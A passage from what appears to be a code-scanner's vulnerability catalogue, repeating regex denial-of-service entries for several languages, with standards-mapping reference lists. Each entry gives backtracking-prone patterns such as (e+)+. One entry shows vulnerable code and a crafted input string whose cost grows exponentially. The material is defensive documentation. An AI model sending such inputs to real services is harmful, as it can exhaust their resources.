[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.dotnet.denial_of_service_regular_expression
Abstract
Untrusted data is passed to the application and used as a regular expression. This can cause the thread to overconsume CPU resources.
Explanation
There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 624
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[5] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[6] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[7] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.dart.denial_of_service_regular_expression
Abstract
Untrusted data is passed to the application and used as a regular expression. This can cause the thread to overconsume CPU resources.
Explanation
There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is repeated. Additionally, attackers can exploit any regular expression that contains alternate subexpressions that overlap one another. This defect can be used to execute a Denial of Service (DoS) attack.
Example 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] IDS08-J. Sanitize untrusted data included in a regular expression CERT
[3] DOS-1: Beware of activities that may use disproportionate resources Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 624
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[46] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.golang.denial_of_service_regular_expression
Abstract
Untrusted data is passed to the application and used as a regular expression. This can cause the thread to overconsume CPU resources.
Explanation
There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] IDS08-J. Sanitize untrusted data included in a regular expression CERT
[3] DOS-1: Beware of activities that may use disproportionate resources Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 624
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[46] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_regular_expression
Abstract
Untrusted data is passed to the application and used as a regular expression. This can cause the thread to overconsume CPU resources.
Explanation
There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 624
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.javascript.denial_of_service_regular_expression
Abstract
Untrusted data is passed to the application and used as a regular expression. This can cause the thread to overconsume CPU resources.
Explanation
There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. Attackers can use this defect to execute a Denial of Service (DoS) attack.
Example 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] IDS08-J. Sanitize untrusted data included in a regular expression CERT
[3] DOS-1: Beware of activities that may use disproportionate resources Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 624
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[46] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.kotlin.denial_of_service_regular_expression
Abstract
Untrusted data is passed to the application and used as a regular expression. This can cause the thread to overconsume CPU resources.
Explanation
There is a vulnerability in implementations of regular expression evaluators and related methods that can cause the thread to hang when evaluating regular expressions that contain a grouping expression that is itself repeated. Additionally, any regular expression that contains alternate subexpressions that overlap one another can also be exploited. This defect can be used to execute a Denial of Service (DoS) attack.
Example 1: If the following regular expressions are used in the identified vulnerable code a denial of service could occur:

(e+)+
([a-zA-Z]+)*
(e|ee)+


Example of problematic code relying on a flawed regular expressions:


NSString *regex = @"^(e+)+$";
NSPredicate *pred = [NSPRedicate predicateWithFormat:@"SELF MATCHES %@", regex];
if ([pred evaluateWithObject:mystring]) {
//do something
}


Most regular expression parsers build Nondeterministic Finite Automaton (NFA) structures when evaluating regular expressions. The NFA tries all possible matches until a complete match is found. Given the previous example, if the attacker supplies the match string "eeeeZ" then there are 16 internal evaluations that the regex parser must go through to identify a match. If the attacker provides 16 "e"s ("eeeeeeeeeeeeeeeeZ") as the match string then the regex parser must go through 65536 (2^16) evaluations. The attacker may easily consume computing resources by increasing the number of consecutive match characters. There are no known regular expression implementations that are immune to this vulnerability. All platforms and languages are vulnerable to this attack.
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 624
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
